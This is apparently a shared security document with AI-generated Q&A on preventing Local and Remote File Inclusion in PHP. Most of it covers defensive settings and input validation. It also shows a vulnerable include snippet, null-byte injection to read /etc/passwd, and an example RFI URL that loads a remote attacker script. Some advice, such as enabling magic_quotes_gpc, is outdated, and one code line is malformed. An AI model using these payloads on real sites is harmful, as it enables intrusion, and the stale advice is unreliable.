Pencegahan LFI dan RFI pada Website
Diunggah oleh
Achmad MuzaqiPencegahan LFI dan RFI pada Website
Diunggah oleh
Achmad MuzaqiCommon questions
Didukung oleh AITo prevent LFI and RFI vulnerabilities, it is recommended to configure PHP settings as follows: set 'allow_url_include' to 'off', 'allow_url_fopen' to 'off', and 'magic_quotes_gpc' to 'on'. These settings restrict the ability to include remote and local files through URLs and add a layer of protection against unsanitized user input .
LFI (Local File Inclusion) allows an attacker to access files within the server by manipulating the URL to include files. In contrast, RFI (Remote File Inclusion) allows an attacker to include external files from outside the server, also by using URL manipulation .
The include function in PHP contributes to LFI and RFI vulnerabilities when user input is not properly validated. If a PHP script uses include statements like '<?php include "../$_GET[framefile]"; ?>' without sanitizing the 'framefile' parameter, it allows an attacker to exploit this by including local files (LFI) or external files from a remote server (RFI).
The use of '%00', known as null byte injection, is significant because it terminates the string, effectively removing any additional characters appended after the '%00'. This can be used to bypass PHP's automatic appending of file extensions, allowing an attacker to directly access non-PHP files like '/etc/passwd' without the '.php' extension being added .
Server-side configuration plays a crucial role in securing a website against file inclusion vulnerabilities by defining how scripts handle user inputs and what operations are permissible. Proper configurations, such as disabling 'allow_url_include' and 'allow_url_fopen', prevent inclusion of remote files, thereby limiting the attack surface for RFI, while activating 'magic_quotes_gpc' helps protect against malicious input exploitation .
At the application level, several steps can be taken to mitigate file inclusion vulnerabilities: validating and sanitizing all user inputs using functions like filter_var(); using a whitelist of allowable file names or paths rather than raw user input; employing libraries or functions that separate user input from application logic; and logging and monitoring access to detect attempts to exploit these vulnerabilities early .
User input validation is crucial to prevent file inclusion vulnerabilities because it ensures that any user-provided data adheres to expected formats and contents before it is processed. Without validation, attackers can supply crafted input that exploits inclusion paths to access unauthorized files, such as sensitive server files or malicious scripts from external locations .
Adding './' to the path when using the include function, such as 'include("./"$_GET[framefile].".php");', forces the script to only recognize files within the current directory. This measure is intended to prevent RFI by causing an error when attempting to include a file using a remote URL, as the './' appended path does not match any external server structure, thus mitigating RFI vulnerabilities .
Directory traversal attacks can be mitigated in PHP applications by implementing strict input validation, sanitizing paths to remove directory traversal patterns (e.g., '../'), using realpath() to resolve absolute paths and verify they exist within allowed locations, and configuring the PHP environment to limit access to specific directories using 'open_basedir' settings .
An attacker can exploit a site vulnerable to RFI by injecting a URL pointing to a malicious script. For instance, if the site script is 'http://www.[target].com/index.php?framefile=http://www.[remote].com/script.txt' and the site's configuration allows RFI, accessing this crafted URL would execute the external 'script.txt', potentially leading to unauthorized actions or data exposure, as proven by displaying content like "hacked by cr4wl3r" .